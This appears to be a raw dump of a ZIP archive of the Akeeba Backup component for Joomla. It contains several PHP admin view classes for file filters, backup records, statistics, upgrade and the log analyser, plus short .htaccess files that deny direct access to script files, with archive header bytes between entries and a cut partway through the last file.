 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Filefilters;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileIdAndNameTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\FilefiltersModel;
use Akeeba\Engine\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\CMS\Uri\Uri;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewProfileIdAndNameTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewTaskBasedEventsTrait;
	use ViewToolbarTrait;

	/**
	 * SELECT element for choosing a database root
	 *
	 * @var  string
	 */
	public $root_select = '';

	/**
	 * List of database roots
	 *
	 * @var  array
	 */
	public $roots = [];

	/**
	 * @return  void
	 */
	public function onBeforeMain()
	{
		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.filefilters');

		$this->addToolbar();

		HTMLHelper::_('bootstrap.tooltip', '.hasTooltip', [
			'placement' => 'right'
		]);

		/** @var FilefiltersModel $model */
		$model = $this->getModel();

		// Get a JSON representation of the available roots
		$filters   = Factory::getFilters();
		$root_info = $filters->getInclusions('dir');
		$roots     = [];
		$options   = [];

		if (!empty($root_info))
		{
			// Loop all dir definitions
			foreach ($root_info as $dir_definition)
			{
				if (is_null($dir_definition[1]))
				{
					// Site root definition has a null element 1. It is always pushed on top of the stack.
					array_unshift($roots, $dir_definition[0]);
				}
				else
				{
					$roots[] = $dir_definition[0];
				}

				$options[] = HTMLHelper::_('select.option', $dir_definition[0], $dir_definition[0]);
			}
		}

		$siteRoot      = $roots[0];
		$selectOptions = [
			'list.select' => $siteRoot,
			'id'          => 'active_root',
			'list.attr'   => [
				'class' => 'form-control',

			],
		];

		$this->root_select = HTMLHelper::_('select.genericlist', $options, 'root', $selectOptions);
		$this->roots       = $roots;

		// Add script options
		$this->getDocument()
			->addScriptOptions('akeebabackup.System.params.AjaxURL', Route::_('index.php?option=com_akeebabackup&view=Filefilters&task=ajax', false))
			->addScriptOptions('akeebabackup.Fsfilters.loadingGif', Uri::root() . 'media/com_akeebabackup/icons/loading.gif');

		switch (strtolower($this->getLayout()))
		{
			case 'default':
			default:
				// Get a JSON representation of the directory data
			$this->getDocument()
					->addScriptOptions('akeebabackup.Filefilters.guiData', $model->makeListing($siteRoot, [], ''))
					->addScriptOptions('akeebabackup.Filefilters.viewType', "list");

				break;

			case 'tabular':
				$this->setLayout('tabular');

				// Get a JSON representation of the tabular filter data
				$this->getDocument()
					->addScriptOptions('akeebabackup.Filefilters.guiData', [
						'list' => $model->getFilters($siteRoot)
					])
					->addScriptOptions('akeebabackup.Filefilters.viewType', "tabular");

				break;
		}

		// Push translations
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIERRORFILTER');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES_ALL');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES_ALL');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS_ALL');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES_ALL');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLDIRS');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLFILES');

		$this->getProfileIdAndName();
	}

	private function addToolbar(): void
	{
		$toolbar = $this->getToolbarCompat();
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_FILEFILTERS'), 'icon-akeeba');

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (\Joomla\CMS\Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');

		$toolbar->linkButton('normal')
			->icon('fa fa-columns')
			->text('COM_AKEEBABACKUP_FILEFILTERS_LABEL_NORMALVIEW')
			->url(Route::_('index.php?option=com_akeebabackup&view=Filefilters&layout=default'));

		$toolbar->linkButton('tabular')
			->icon('fa fa-list-ul')
			->text('COM_AKEEBABACKUP_FILEFILTERS_LABEL_TABULARVIEW')
			->url(Route::_('index.php?option=com_akeebabackup&view=Filefilters&layout=tabular'));


		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/exclude-data-from-backup.html#files-and-directories-exclusion');
	}

}PK     \Sʉ        src/View/Filefilters/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \%1
  1
    src/View/Statistic/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Statistic;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Exception;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\Component\Banners\Administrator\Model\BannerModel;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewToolbarTrait;

	/**
	 * The Form object
	 *
	 * @var    Form
	 * @since  1.5
	 */
	protected $form;

	/**
	 * The active item
	 *
	 * @var    object
	 * @since  1.5
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var    object
	 * @since  1.5
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 * @since   9.0.0
	 *
	 */
	public function display($tpl = null): void
	{
		$errors = [];

		try
		{
			/** @var BannerModel $model */
			$model       = $this->getModel();
			$this->form  = $model->getForm();
			$this->item  = $model->getItem();
			$this->state = $model->getState();
		}
		catch (Exception $e)
		{
			$errors = [$e->getMessage()];
		}

		// Check for errors.
		if (method_exists($this->getModel(), 'getErrors'))
		{
			/** @noinspection PhpDeprecationInspection */
			$errors = $this->getModel()->getErrors();
		}

		if (
			(is_array($errors) || $errors instanceof \Countable)
				? count($errors)
				: 0
		)
		{
			throw new GenericDataException(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 * @since   9.0.0
	 */
	protected function addToolbar(): void
	{
		Factory::getApplication()->getInput()->set('hidemainmenu', true);

		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_BUADMIN_LOG_EDITCOMMENT'), 'icon-akeeba');

		$toolbar = $this->getToolbarCompat();

		// If not checked out, can save the item.
		$toolbar->apply('statistic.apply');
		$toolbar->save('statistic.save');

		$toolbar->cancel('statistic.cancel');

		$toolbar->divider();
		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/adminsiter-backup-files.html');
	}
}PK     \Sʉ        src/View/Statistic/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \      src/View/Upgrade/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Upgrade;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UpgradeModel;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Toolbar\ToolbarHelper;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewTaskBasedEventsTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewToolbarTrait;

	public $needsMigration = false;

	public $hasCompatibleVersion = false;

	protected function onBeforeMain()
	{
		$this->addToolbar();

		/** @var UpgradeModel $model */
		$model = $this->getModel();

		$this->needsMigration = in_array(true, $model->runCustomHandlerEvent('onNeedsMigration'), true);
		$this->hasCompatibleVersion = in_array(true, $model->runCustomHandlerEvent('onHasCompatibleAkeebaVersion'), true);
	}

	private function addToolbar(): void
	{
		$toolbar = $this->getToolbarCompat();
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_UPGRADE'), 'icon-akeeba');

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');

		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/using-akeeba-backup-component.html#menu-upgrade');
	}
}PK     \Sʉ        src/View/Upgrade/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \4E  4E    src/View/Manage/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Manage;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewBackupStartTimeTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewListLimitFixTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTableUITrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfilesModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\StatisticsModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\TransferModel;
use Akeeba\Engine\Factory as AkeebaFactory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text as Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Pagination\Pagination;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Toolbar\Toolbar;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Uri\Uri as JUri;
use Joomla\Registry\Registry;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewLoadAnyTemplateTrait;
	use ViewBackupStartTimeTrait;
	use ViewTableUITrait;
	use ViewListLimitFixTrait;
	use ViewToolbarTrait;

	/**
	 * The active search filters
	 *
	 * @since  1.6
	 * @var    array
	 */
	public $activeFilters = [];

	/**
	 * The search tools form
	 *
	 * @since  1.6
	 * @var    Form
	 */
	public $filterForm;

	/**
	 * List of frozen options for JHtmlSelect
	 *
	 * @var  array
	 */
	public $frozenList = [];

	/**
	 * List of records to display
	 *
	 * @var  array
	 */
	public $items = [];

	/**
	 * Order direction, ASC/DESC
	 *
	 * @var  string
	 */
	public $order_Dir = 'DESC';

	/**
	 * Pagination object
	 *
	 * @var Pagination
	 */
	public $pagination = null;

	/**
	 * Cache the user permissions
	 *
	 * @since 5.3.0
	 * @var   array
	 *
	 */
	public $permissions = [];

	/**
	 * List of Profiles objects
	 *
	 * @var  array
	 */
	public $profiles = [];

	/**
	 * List of profiles for JHtmlSelect
	 *
	 * @var  array
	 */
	public $profilesList = [];

	/**
	 * Should I pormpt the user ot run the configuration wizard?
	 *
	 * @var  bool
	 */
	public $promptForBackupRestoration = false;

	/**
	 * Sorting order options
	 *
	 * @var  array
	 */
	public $sortFields = [];

	/**
	 * @var array
	 */
	protected $enginesPerProfile;

	/**
	 * The model state
	 *
	 * @since  1.6
	 * @var    Registry
	 */
	protected $state;

	/**
	 * @since 9.4.2
	 * @var   int|null
	 */
	private ?int $itemCount;

	public function display($tpl = null)
	{
		// Load custom Javascript for this page
		$this->getDocument()->getWebAssetManager()
		               ->useScript('com_akeebabackup.manage');

		$cParams = ComponentHelper::getParams('com_akeebabackup');

		$app               = Factory::getApplication();
		$user              = $app->getIdentity();
		$this->permissions = [
			'configure' => $user->authorise('akeebabackup.configure', 'com_akeebabackup'),
			'backup'    => $user->authorise('akeebabackup.backup', 'com_akeebabackup'),
			'download'  => $user->authorise('akeebabackup.download', 'com_akeebabackup'),
		];

		// Push translations to the frontend
		Text::script('COM_AKEEBABACKUP_BUADMIN_LABEL_REMOTEFILEMGMT');
		Text::script('COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_HEADER');

		/** @var ProfilesModel $profilesModel */
		$profilesModel           = $this->getModel('Profiles');
		$this->enginesPerProfile = $profilesModel->getPostProcessingEnginePerProfile();

		// "Show warning first" download button.
		Text::script('COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD_CONFIRM', false);
		$this->getDocument()
			->addScriptOptions('akeebabackup.Manage.baseURI', JUri::base())
			->addScriptOptions('akeebabackup.Manage.downloadURL', Route::_('index.php?option=com_akeebabackup&task=Manage.download&' . $app->getSession()->getFormToken() . '=1', false));

		/** @var StatisticsModel $model */
		$model               = $this->getModel('Statistics');
		$filters             = $this->getFilters();
		$ordering            = $this->getOrdering();
		$this->state         = $model->getState();
		$this->filterForm    = $model->getFilterForm();
		$this->activeFilters = $model->getActiveFilters();
		$this->fixListLimitPastTotal($model, fn() => (int) Platform::getInstance()->get_statistics_count($filters));
		$this->items = $model->getStatisticsListWithMeta(false, $filters, $ordering);

		// Let's create an array indexed with the profile id for better handling
		$profilesModel->setState('filter.search', '');
		$profilesModel->setState('filter.quickicon', '');
		$profilesModel->setState('filter.quickicon', '');
		$profilesModel->setState('list.start', 0);
		$profilesModel->setState('list.limit', 0);
		$tempProfiles = $profilesModel->getItems();
		$profiles     = [];

		foreach ($tempProfiles as $profile)
		{
			$profiles[$profile->id] = $profile;
		}

		$profilesList = [
			HTMLHelper::_('select.option', '', '–' . Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID') . '–'),
		];

		if (!empty($profiles))
		{
			foreach ($profiles as $profile)
			{
				$profilesList[] = HTMLHelper::_('select.option', $profile->id, '#' . $profile->id . '. ' . $profile->description);
			}
		}

		// Assign data to the view
		$this->profiles     = $profiles; // Profiles
		$this->profilesList = $profilesList; // Profiles list for select box
		$this->itemCount    = count($this->items);
		$this->pagination   = $model->getFilteredPagination($filters); // Pagination object

		$this->frozenList = [
			HTMLHelper::_('select.option', '', '–' . Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_SELECT') . '–'),
			HTMLHelper::_('select.option', '1', Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_FROZEN')),
			HTMLHelper::_('select.option', '2', Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_UNFROZEN')),
		];

		// Initialise the timezone information and preferences about displaying the backup start time
		$this->initTimeInformation();

		// Should I show the prompt for the configuration wizard?
		$this->promptForBackupRestoration = $cParams->get('show_howtorestoremodal', 1) != 0;

		// Construct the array of sorting fields
		$this->sortFields = [
			'id'          => Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_ID'),
			'description' => Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_DESCRIPTION'),
			'backupstart' => Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_START'),
			'profile_id'  => Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID'),
		];

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * File size formatting function. COnverts number of bytes to a human readable represenation.
	 *
	 * @param   int     $sizeInBytes         Size in bytes
	 * @param   int     $decimals            How many decimals should I use? Default: 2
	 * @param   string  $decSeparator        Decimal separator
	 * @param   string  $thousandsSeparator  Thousands grouping character
	 *
	 * @return string
	 */
	public function formatFilesize($sizeInBytes, $decimals = 2, $decSeparator = '.', $thousandsSeparator = '')
	{
		if ($sizeInBytes <= 0)
		{
			return '-';
		}

		$units = ['b', 'KB', 'MB', 'GB', 'TB'];
		$unit  = floor(log($sizeInBytes, 2) / 10);

		if ($unit == 0)
		{
			$decimals = 0;
		}

		return number_format($sizeInBytes / (1024 ** $unit), $decimals, $decSeparator, $thousandsSeparator) . ' ' . $units[$unit];
	}

	/**
	 * Returns the custom states for frozen/unfrozen records, for use with JGrid.state
	 *
	 * @return array[]
	 * @since  9.0.0
	 */
	public function getFrozenStates()
	{
		return [
			// Frozen record
			1 => [
				// Default toggle action is to unpublish (unfreeze) the record.
				'task'           => 'unpublish',
				// Ignored
				'text'           => '',
				// The tooltip reads "Unfreeze record"
				'active_title'   => 'COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_UNFREEZE',
				// Ignored (we don't do disabled state toggles in Akeeba Backup)
				'inactive_title' => '',
				// Show a tooltip, please
				'tip'            => true,
				// The x in the beginning prevents Joomla rendering its own icons. The rest is self-explanatory.
				'active_class'   => 'x text-primary border-primary fa fa-snowflake akeebabackup-icon-frozen',
				// Ignored (we don't do disabled state toggles in Akeeba Backup)
				'inactive_class' => 'x text-primary border-primary fa fa-snowflake akeebabackup-icon-frozen',
			],
			// Unfrozen record (DEFAULT STATE)
			0 => [
				// Default toggle action is to publish (freeze) the record.
				'task'           => 'publish',
				// Ignored
				'text'           => '',
				// The tooltip reads "Freeze record"
				'active_title'   => 'COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_FREEZE',
				// Ignored (we don't do disabled state toggles in Akeeba Backup)
				'inactive_title' => '',
				// Show a tooltip, please
				'tip'            => true,
				// The x in the beginning prevents Joomla rendering its own icons. The rest is self-explanatory.
				'active_class'   => 'x fa fa-tint',
				// Ignored (we don't do disabled state toggles in Akeeba Backup)
				'inactive_class' => 'x fa fa-tint',
			],
		];
	}

	/**
	 * Translates the internal backup type (e.g. cli) to a human readable string
	 *
	 * @param   string  $recordType  The internal backup type
	 *
	 * @return  string
	 */
	public function translateBackupType($recordType)
	{
		static $backup_types = null;

		if (!is_array($backup_types))
		{
			// Load a mapping of backup types to textual representation
			$scripting    = AkeebaFactory::getEngineParamsProvider()->loadScripting();
			$backup_types = [];

			foreach ($scripting['scripts'] as $key => $data)
			{
				$textKey            = str_replace('COM_AKEEBA_', 'COM_AKEEBABACKUP_', $data['text']);
				$backup_types[$key] = Text::_($textKey);
			}
		}

		if (array_key_exists($recordType, $backup_types))
		{
			return $backup_types[$recordType];
		}

		return '&ndash;';
	}

	/**
	 * Escapes backup comment to remove all tags, convert new-lines and finally convert HTML entities
	 *
	 * @param $comment
	 *
	 * @return string
	 */
	protected function escapeComment($comment)
	{
		if (!$comment)
		{
			return '';
		}

		$comment = strip_tags($comment);
		$comment = nl2br($comment);

		return $this->escape($comment);
	}

	/**
	 * Returns the origin's translated name and the appropriate icon class
	 *
	 * @param   array  $record  A backup record
	 *
	 * @return  array  array(originTranslation, iconClass)
	 */
	protected function getOriginInformation($record)
	{
		$originLanguageKey = 'COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_' . $record['origin'];
		$originDescription = Text::_($originLanguageKey);

		switch (strtolower($record['origin']))
		{
			case 'backend':
				$originIcon = 'fa fa-desktop';
				break;

			case 'frontend':
				$originIcon = 'fa fa-globe';
				break;

			case 'json':
				$originIcon = 'fa fa-cloud';
				break;

			case 'joomlacli':
			case 'joomla':
				$originIcon = 'fa fab fa-joomla';
				break;

			case 'cli':
				$originIcon = 'fa fa-terminal';
				break;

			case 'xmlrpc':
				$originIcon = 'fa fa-code';
				break;

			case 'lazy':
				$originIcon = 'fa fa-cubes';
				break;

			default:
				$originIcon = 'fa fa-question';
				break;
		}

		if (empty($originLanguageKey) || ($originDescription == $originLanguageKey))
		{
			$originDescription = '&ndash;';
			$originIcon        = 'fa fa-question-circle';

			return [$originDescription, $originIcon];
		}

		return [$originDescription, $originIcon];
	}

	/**
	 * Get the profile name for the backup record (or "–" if the profile no longer exists)
	 *
	 * @param   array  $record  A backup record
	 *
	 * @return  string
	 */
	protected function getProfileName($record)
	{
		$profileName = '&mdash;';

		if (isset($this->profiles[$record['profile_id']]))
		{
			$profileName = $this->escape($this->profiles[$record['profile_id']]->description);

			return $profileName;
		}

		return $profileName;
	}

	/**
	 * Get the class and icon for the backup status indicator
	 *
	 * @param   array  $record  A backup record
	 *
	 * @return  array  array(class, icon)
	 */
	protected function getStatusInformation($record)
	{
		$statusClass = '';

		switch ($record['meta'])
		{
			case 'ok':
				$statusIcon  = 'fa fa-check-circle';
				$statusClass = 'bg-success';
				break;
			case 'pending':
				$statusIcon  = 'fa fa-play';
				$statusClass = 'bg-warning';
				break;
			case 'fail':
				$statusIcon  = 'fa fa-times';
				$statusClass = 'bg-danger';
				break;
			case 'remote':
				$statusIcon  = 'fa fa-cloud';
				$statusClass = 'bg-primary';
				break;
			default:
				$statusIcon  = 'fa fa-trash';
				$statusClass = 'bg-secondary';
				break;
		}

		return [$statusClass, $statusIcon];
	}

	private function addToolbar(): void
	{
		$user        = Factory::getApplication()->getIdentity();
		$permissions = [
			'configure' => $user->authorise('akeebabackup.configure', 'com_akeebabackup'),
			'backup'    => $user->authorise('akeebabackup.backup', 'com_akeebabackup'),
			'download'  => $user->authorise('akeebabackup.download', 'com_akeebabackup'),
		];

		// Get the toolbar object instance
		$toolbar = $this->getToolbarCompat();

		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_BUADMIN'), 'icon-akeeba');

		if (AKEEBABACKUP_PRO)
		{
			$toolbar->linkButton('discover', 'COM_AKEEBABACKUP_DISCOVER')
			        ->url(Uri::base() . 'index.php?option=com_akeebabackup&view=Discover')
			        ->icon('fa fa-file-import');
		}

		if ($permissions['configure'])
		{
			$dropdown = $toolbar->dropdownButton('status-group')
			                    ->text('JTOOLBAR_CHANGE_STATUS')
			                    ->toggleSplit(false)
			                    ->icon('icon-ellipsis-h')
			                    ->buttonClass('btn btn-action')
			                    ->listCheck(true);

			/** @var Toolbar $childBar */
			$childBar = $dropdown->getChildToolbar();

			$childBar->publish('manage.publish')
			         ->icon('fa fa-check-circle')
			         ->text('COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_FREEZE')
			         ->listCheck(true);

			$childBar->unpublish('manage.unpublish')
			         ->icon('fa fa-times-circle')
			         ->text('COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_UNFREEZE')
			         ->listCheck(true);

			if ($permissions['configure'] && AKEEBABACKUP_PRO)
			{
				$childBar->standardButton('restore', 'COM_AKEEBABACKUP_BUADMIN_LABEL_RESTORE', 'restore.main')
				         ->buttonClass('bg-warning')
				         ->icon('fa fa-history')
				         ->listCheck(true);
			}

			if ($permissions['download'] && AKEEBABACKUP_PRO)
			{
				$childBar->standardButton('transfer', 'COM_AKEEBABACKUP_BUADMIN_LABEL_TRANSFER', 'transfer.main')
				         ->icon('fa fa-truck')
				         ->listCheck(true);
			}

			$childBar->delete('manage.deletefiles')
			         ->icon('fa fa-broom')
			         ->text('COM_AKEEBABACKUP_BUADMIN_LABEL_DELETEFILES')
			         ->message('JGLOBAL_CONFIRM_DELETE')
			         ->listCheck(true);

			$childBar->delete('manage.delete')
			         ->message('JGLOBAL_CONFIRM_DELETE')
			         ->listCheck(true);
		}

		if ($permissions['backup'])
		{
			$toolbar->edit('statistic.edit');
		}

		$toolbar->back()
		        ->text('COM_AKEEBABACKUP_CONTROLPANEL')
		        ->icon('fa fa-' . (Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
		        ->url('index.php?option=com_akeebabackup');

		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/adminsiter-backup-files.html');
	}

	/**
	 * Get the filters in a format that Akeeba Engine understands
	 *
	 * @return  array
	 */
	private function getFilters()
	{
		$filters = [];
		$model   = $this->getModel('Statistics');

		if ($model->getState('filter.search'))
		{
			$filters[] = [
				'field'   => 'description',
				'operand' => 'LIKE',
				'value'   => $model->getState('filter.search'),
			];
		}

		$from = $model->getState('filter.from');
		$to   = $model->getState('filter.to');

		if ($from && $to)
		{
			$filters[] = [
				'field'   => 'backupstart',
				'operand' => 'BETWEEN',
				'value'   => $from,
				'value2'  => $to,
			];
		}
		elseif ($from)
		{
			$filters[] = [
				'field'   => 'backupstart',
				'operand' => '>=',
				'value'   => $from,
			];
		}
		elseif ($to)
		{
			$toDate = clone Factory::getDate($to);
			$to     = $toDate->format('Y-m-d') . ' 23:59:59';

			$filters[] = [
				'field'   => 'backupstart',
				'operand' => '<=',
				'value'   => $to,
			];
		}

		if ($model->getState('filter.origin'))
		{
			$filters[] = [
				'field'   => 'origin',
				'operand' => '=',
				'value'   => $model->getState('filter.origin'),
			];
		}

		if ($model->getState('filter.profile'))
		{
			$filters[] = [
				'field'   => 'profile_id',
				'operand' => '=',
				'value'   => (int) $model->getState('filter.profile'),
			];
		}

		$filterFrozen = $model->getState('filter.frozen');

		if (is_numeric($filterFrozen))
		{
			$filters[] = [
				'field'   => 'frozen',
				'operand' => '=',
				'value'   => intval($filterFrozen) === 2 ? 0 : 1,
			];
		}

		return $filters;
	}

	/**
	 * Get the list ordering in a format that Akeeba Engine understands
	 *
	 * @return  array
	 */
	private function getOrdering()
	{
		$model = $this->getModel('Statistics');

		return [
			'by'    => $model->getState('list.ordering') ?? 'id',
			'order' => $model->getState('list.direction') ?? 'DESC',
		];
	}
}PK     \Sʉ        src/View/Manage/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \=L      src/View/Alice/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Alice;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\AliceModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\LogModel;
use Exception;
use Joomla\CMS\Factory;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Toolbar\ToolbarHelper;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewLoadAnyTemplateTrait;
	use ViewTaskBasedEventsTrait;
	use ViewToolbarTrait;

	/**
	 * List of log entries to choose from, JHtml compatible
	 *
	 * @var  array
	 */
	public $logs;

	/**
	 * Currently selected log
	 *
	 * @var  string
	 */
	public $log;

	/**
	 * Should I autostart the log analysis? 0/1
	 *
	 * @var  int
	 */
	public $autorun;

	/**
	 * Total number of checks to perform
	 *
	 * @var  int
	 */
	public $totalChecks;

	/**
	 * Number of checks already performed
	 *
	 * @var  int
	 */
	public $doneChecks;

	/**
	 * Description of the current section of tests being run
	 *
	 * @var  string
